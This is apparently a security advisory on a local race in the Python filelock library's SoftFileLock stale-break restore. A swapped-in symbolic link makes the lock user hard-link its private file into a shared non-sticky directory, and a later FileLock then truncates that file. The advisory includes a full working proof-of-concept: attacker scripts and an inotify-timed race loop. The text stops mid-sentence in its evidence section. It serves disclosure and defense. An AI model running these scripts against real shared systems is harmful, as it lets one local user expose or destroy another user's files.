filelock: SoftFileLock stale-break restore follows a swapped-in symbolic link and hard-links a file of the user running the lock into the lock directory

Scope and preconditions

• The other user can write the lock directory, and it has no sticky bit: a 0777 or group-writable cache or project directory. In a root-owned 1777 directory the unprivileged lock user cannot rename the other user's marker and only waits. In a 1777 directory the lock user owns, fs.protected_symlinks=1 (a Linux setting that refuses to follow another user's symbolic link in a world-writable sticky directory) makes the link fail with EACCES (permission denied). Testing showed no effect in sticky directories.
• The interpreter's os.link follows symbolic links. CPython 3.14 on Linux issues linkat(..., AT_SYMLINK_FOLLOW). CPython 3.11 issues link(2), which links the symbolic link itself, and is not affected. The scanner did not test 3.12 and 3.13. On macOS link(2) follows (confirmed in our review on macOS 27.0.1: a plain os.link of a symbolic link gave the target st_nlink 2, that is two names).
• The target file and the lock directory are on the same filesystem (hard links cannot cross filesystems), and the lock user takes the lock more than once.
• Every soft-lock path reaches the branch: SoftFileLock, MarkerSoftFileLock, SoftFileLease and the lifetime break. The native FileLock does not, but it is the consumer that turns the planted link into a truncation.

filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against. This finding is about what the lock itself adds inside such a directory, a hard link the other user cannot make on its own.

Affected code

At the scanned commit b831496, the restore branch of break_lock_file runs for SoftFileLock._try_break_stale_lock, MarkerSoftFileLock, SoftFileLease and the lifetime break. The truncation in UnixFileLock._finalize_locked_fd is what a later native lock on the planted name did to the file (reported in its own advisory).

Introduced

fc73fc51e137 ("fix(soft): restore a live marker a stale break moved aside", #786, 2026-10-08), first released in 4.1.0 (verified against the tags). Releases before 4.1.0 have no restore branch, so this does not affect them.

Mechanism

# src/filelock/_util.py:115-122
break_path: Final[str] = f"{lock_file}.break.{os.getpid()}.{secrets.token_hex(16)}"
Path(lock_file).rename(break_path)
if (st_after := os.lstat(break_path)).st_mtime <= mtime_before and st_after.st_ino == ino_before:
    Path(break_path).unlink()
elif stat.S_ISREG(st_after.st_mode) and _HAS_LINK:  # pragma: needs hard-link
    with suppress(FileExistsError):
        os.link(break_path, lock_file)
        Path(break_path).unlink()

The S_ISREG test (is it a regular file) is about what lstat saw on line 117, not about what link resolves on line 121. The docstring says the code must not put a symbolic link back "because link would follow a symlink to its target", and the test at the scanned commit names the consequence ("publish the victim file's inode at the lock path"), but that test only covers a symbolic link that is already there when lstat runs. The 128-bit token stops others from guessing the break name, not from reading it. The name is in the directory listing from the moment the rename has happened. The package's other links pass follow_symlinks=False where the runtime honours it; this one does not. An strace (a tool that logs a process's system calls) on CPython 3.14.8 shows os.link(a, b) as linkat(AT_FDCWD, a, AT_FDCWD, b, AT_SYMLINK_FOLLOW).

The other user plays both the stale holder and the "successor" the branch exists for:

1. The other user leaves a genuine marker of a dead process at the lock path (a forked child takes the lock and _exits). The lock user's _try_break_stale_lock() reads it and owner_is_stale() agrees, so break_lock_file() renames it to app.lock.break.<pid>.<token>. In a directory without the sticky bit the lock user may rename a file it does not own.
2. The other user still owns that file and gives it a newer mtime (modification time) after the lstat on line 113. Line 117 then takes it for a recreated marker, and line 119 sees a regular file.
3. The other user renames a symbolic link to the lock user's private file over the break name.
4. Line 121 resolves the link with the lock user's credentials, so app.lock becomes a second hard link to the private file. Line 122 removes the symbolic link.

The other user's own os.link() on the private file fails with EACCES (it cannot enter the 0700 directory). On a file of the lock user it can reach, fs.protected_hardlinks=1 answers EPERM (operation not permitted). The lock user would evict the odd "marker" after MALFORMED_LOCK_AGE_THRESHOLD (2 s), so the other user moves it to another name first, which the non-sticky directory allows. Both steps are races against a few lines of Python. There are about 40 µs between the lstat on line 113 and the one on line 117 (half of it the rename), and about 2 µs between line 117 and the os.link() call. inotify tells the other user when to act. A watch reports the lock user closing the marker after reading it, then the rename together with the break name. A bump that comes before line 113 costs nothing, since line 113 returns and the lock user looks again on its next poll.

Reproduction

The scanner's reproducer for finding ANT-2026-SB29HIAL, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The repro script drives the files under repro.d/.

repro

#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys

sys.stdout.reconfigure(line_buffering=True)

SHARED_DIR = "/tmp/shared-locks"
LOCK_PATH = SHARED_DIR + "/app.lock"
PRIVATE_DIR = "/home/victim/private"
KEY_PATH = PRIVATE_DIR + "/signing.key"
AS_VICTIM = {"user": "victim", "group": "victim", "extra_groups": []}
AS_ATTACKER = {"user": "attacker", "group": "attacker", "extra_groups": []}
# strace alters no call. On calls that name the lock path it holds the victim 2 s after rename() and 2 s before
# linkat(), that is on both sides of the lstat of the break name in break_lock_file() (src/filelock/_util.py:117).
SLOWED_DOWN = ["strace", "-o", "/dev/null", "-P", LOCK_PATH, "-e", "trace=rename,linkat"]
SLOWED_DOWN += ["-e", "inject=rename:delay_exit=2000000", "-e", "inject=linkat:delay_enter=2000000"]

# set up: the victim's key in a 0700 directory, and a lock directory anyone can write, without the sticky bit
shutil.rmtree(PRIVATE_DIR, ignore_errors=True)
os.mkdir(PRIVATE_DIR, 0o700)
with open(KEY_PATH, "w") as key_file:
    key_file.write("0123456789abcdef\n")
os.chmod(KEY_PATH, 0o600)
shutil.chown(PRIVATE_DIR, "victim", "victim")
shutil.chown(KEY_PATH, "victim", "victim")
shutil.rmtree(SHARED_DIR, ignore_errors=True)
os.mkdir(SHARED_DIR)
os.chmod(SHARED_DIR, 0o777)
key_before = os.stat(KEY_PATH)
print(f"{KEY_PATH}: links={key_before.st_nlink} size={key_before.st_size}")
for knob in ("protected_hardlinks", "protected_symlinks"):
    print(f"fs.{knob} =", open(f"/proc/sys/fs/{knob}").read().strip())

# control: the attacker cannot give the key a name in the shared directory by itself
link_by_attacker = f"import os; os.link({KEY_PATH!r}, {SHARED_DIR + '/by-attacker'!r})"
control = subprocess.run([sys.executable, "-c", link_by_attacker], capture_output=True, text=True, **AS_ATTACKER)
print("CONTROL the attacker's own link() of the key:", control.stderr.strip().splitlines()[-1])

# attack: the victim takes an ordinary SoftFileLock while the attacker works on the break name
subprocess.run([sys.executable, "/tmp/repro.d/plant_stale_marker.py", LOCK_PATH], check=True, **AS_ATTACKER)
attacker = subprocess.Popen([sys.executable, "/tmp/repro.d/swap_break_name.py", LOCK_PATH, KEY_PATH], **AS_ATTACKER)
victim_job = [*SLOWED_DOWN, sys.executable, "/tmp/repro.d/victim_job.py", LOCK_PATH]
subprocess.run(victim_job, check=True, timeout=60, **AS_VICTIM)
assert attacker.wait(timeout=30) == 0, "the attacker did not get through its steps"

# check, as root: does the key now have a name in the shared directory?
key_after = os.stat(KEY_PATH)
names_of_the_key = [
    name for name in os.listdir(SHARED_DIR) if os.path.samestat(key_after, os.lstat(f"{SHARED_DIR}/{name}"))
]
print(f"OBSERVED {KEY_PATH}: links={key_after.st_nlink}, names in {SHARED_DIR} with its inode: {names_of_the_key}")

if names_of_the_key:
    # what that name is good for: another program of the victim takes a FileLock there, which truncates the file
    shared_name = f"{SHARED_DIR}/{names_of_the_key[0]}"
    victim_other_job = [sys.executable, "/tmp/repro.d/victim_other_job.py", shared_name]
    subprocess.run(victim_other_job, check=True, timeout=60, **AS_VICTIM)
    print(f"OBSERVED {KEY_PATH}: size={os.stat(KEY_PATH).st_size} after the victim's FileLock({shared_name!r})")

print("BUG" if control.returncode != 0 and names_of_the_key else "OK")

repro.d/plant_stale_marker.py

import os
import sys

from filelock import SoftFileLock

# a genuine marker of a holder that died: a child takes the lock and exits without releasing it
if (child := os.fork()) == 0:
    holder = SoftFileLock(sys.argv[1])  # kept referenced: a collected lock releases itself
    holder.acquire()
    os._exit(0)
os.waitpid(child, 0)
print("attacker: left", sys.argv[1], "held by pid", child, "which has exited", flush=True)

repro.d/swap_break_name.py

import glob
import os
import sys
import time

lock_path, key_path = sys.argv[1:]
kept_path = os.path.join(os.path.dirname(lock_path), "other.lock")

# the victim judged the marker stale and renamed it to <lock>.break.<pid>.<random>; anyone can list the directory
deadline = time.monotonic() + 30
while not (break_paths := glob.glob(lock_path + ".break.*")):
    assert time.monotonic() < deadline, "the victim never moved the marker aside"
    time.sleep(0.01)
[break_path] = break_paths
print("attacker: the victim renamed the marker to", os.path.basename(break_path), flush=True)

# still the attacker's file: a newer mtime makes the victim take it for a marker a live holder recreated, and restore it
os.utime(break_path)

time.sleep(3)  # repro holds the victim 2 s before its lstat of the break name and 2 s more before its link
os.symlink(key_path, lock_path + ".symlink")
os.rename(lock_path + ".symlink", break_path)
print("attacker: replaced", os.path.basename(break_path), "with a symlink to", key_path, flush=True)

# the victim would evict what it linked at the lock path as a malformed marker after 2 s: keep it under another name
deadline = time.monotonic() + 5
while not os.path.lexists(lock_path) and time.monotonic() < deadline:
    time.sleep(0.01)
try:
    os.rename(lock_path, kept_path)
    print("attacker: renamed", os.path.basename(lock_path), "to", kept_path, flush=True)
except FileNotFoundError:
    print("attacker: the victim linked nothing at", os.path.basename(lock_path), flush=True)

repro.d/unpaused_attacker.py

#!/usr/bin/env python3
"""Optional, not run by repro: the two steps of swap_break_name.py, timed by inotify against a victim that nobody pauses."""
import ctypes
import os
import random
import struct
import sys
import time

from filelock import SoftFileLock

lock_path, victim_file, kept_name = sys.argv[1:]
os.chdir(os.path.dirname(lock_path))
lock_name = os.path.basename(lock_path).encode()
IN_NONBLOCK, IN_CLOSE_NOWRITE, IN_MOVED_TO = 0o4000, 0x10, 0x80


def spin(microseconds):
    until = time.perf_counter() + microseconds / 1e6
    while time.perf_counter() < until:
        pass


# The bytes of a genuine marker of a dead process.
if os.fork() == 0:
    crashed_holder = SoftFileLock(lock_path)
    crashed_holder.acquire()
    os._exit(0)
os.wait()
with open(lock_name, "rb") as marker_file:
    stale_marker = marker_file.read()
os.unlink(lock_name)

libc = ctypes.CDLL(None)
inotify = libc.inotify_init1(IN_NONBLOCK)
libc.inotify_add_watch(inotify, b".", IN_MOVED_TO)
marker_mtime = 1_000_000_000
lock_cycles = 0
while True:
    lock_cycles += 1
    os.symlink(victim_file, b"symlink")
    marker = os.open(b"staged", os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)
    os.write(marker, stale_marker)
    os.utime(marker, (marker_mtime, marker_mtime))
    marker_watch = libc.inotify_add_watch(inotify, b"staged", IN_CLOSE_NOWRITE)
    while True:  # plant it as soon as the victim has released the lock
        try:
            os.link(b"staged", lock_name)
            break
        except FileExistsError:
            pass
    os.unlink(b"staged")

    break_name = None
    while break_name is None:
        try:
            events = os.read(inotify, 4096)
        except BlockingIOError:
            continue
        while events and break_name is None:
            _, mask, _, name_length = struct.unpack_from("iIII", events)
            name = events[16 : 16 + name_length].rstrip(b"\0")
            events = events[16 + name_length :]
            if mask & IN_CLOSE_NOWRITE:
                # The victim has read the marker and is about to judge it stale and lstat it again. A bump that comes
                # before that lstat only makes the victim start over on its next poll.
                spin(random.uniform(40, 100))
                marker_mtime += 1
                os.utime(marker, (marker_mtime, marker_mtime))
            elif name.startswith(lock_name + b".break."):
                # The victim has renamed the marker and is about to lstat the break name and link it back.
                os.rename(b"symlink", name)
                break_name = name
    libc.inotify_rm_watch(inotify, marker_watch)
    os.close(marker)

    time.sleep(0.001)
    try:
        at_lock_path = os.lstat(lock_name)
        if at_lock_path.st_uid != os.getuid() and at_lock_path.st_nlink == 2:
            os.rename(lock_name, kept_name)
            print(f"after {lock_cycles} lock cycles the victim linked its file here as {kept_name!r}:", at_lock_path)
            break
    except FileNotFoundError:
        pass
    for leftover in (b"symlink", break_name):
        if os.path.lexists(leftover):
            os.unlink(leftover)
    try:
        os.read(inotify, 65536)
    except BlockingIOError:
        pass

repro.d/unpaused_victim.py

#!/usr/bin/env python3
"""Optional, not run by repro: a victim job that takes the SoftFileLock again and again, paused by nobody."""
import sys
import time

from filelock import SoftFileLock

lock = SoftFileLock(sys.argv[1])
while True:
    with lock:
        time.sleep(0.005)
    time.sleep(0.005)

repro.d/victim_job.py

import sys

from filelock import SoftFileLock

with SoftFileLock(sys.argv[1]):
    print("victim: holds", sys.argv[1], flush=True)

repro.d/victim_other_job.py

import sys

from filelock import FileLock

with FileLock(sys.argv[1]):
    print("victim: holds", sys.argv[1], flush=True)

Attack sequence

sequenceDiagram
    participant X as other local user (uid 1001)
    participant D as /tmp/shared-locks (0777, not sticky)
    participant V as SoftFileLock of the lock user (uid 1000)
    participant K as ~victim/private/signing.key (0600 in a 0700 dir)
    X->>D: child takes app.lock and _exit()s: dead-holder marker owned by X
    V->>D: read marker, owner_is_stale, lstat ok: rename app.lock to app.lock.break.*
    rect rgb(255, 214, 214)
        X->>D: inotify sees the rename: utime the break file (newer mtime)
        V->>D: lstat break name: mtime newer, S_ISREG: treat as a recreated live marker
        X->>D: rename a symbolic link to signing.key over the break name
        V->>K: os.link(break name, app.lock) follows the symbolic link: app.lock is a second name of the file
        X->>D: rename app.lock to other.lock before the 2 s eviction
        Note over V,K: the lock user's FileLock("other.lock") on 4.2.0 truncates the file to 0 bytes
    end

Evidence

The scanner's reproducer takes about 5 s and is deterministic. Root creates /home/victim/private (0700) with signing.key (17 bytes, 0600) and /tmp/shared-locks (0777, no sticky bit), with `fs.protec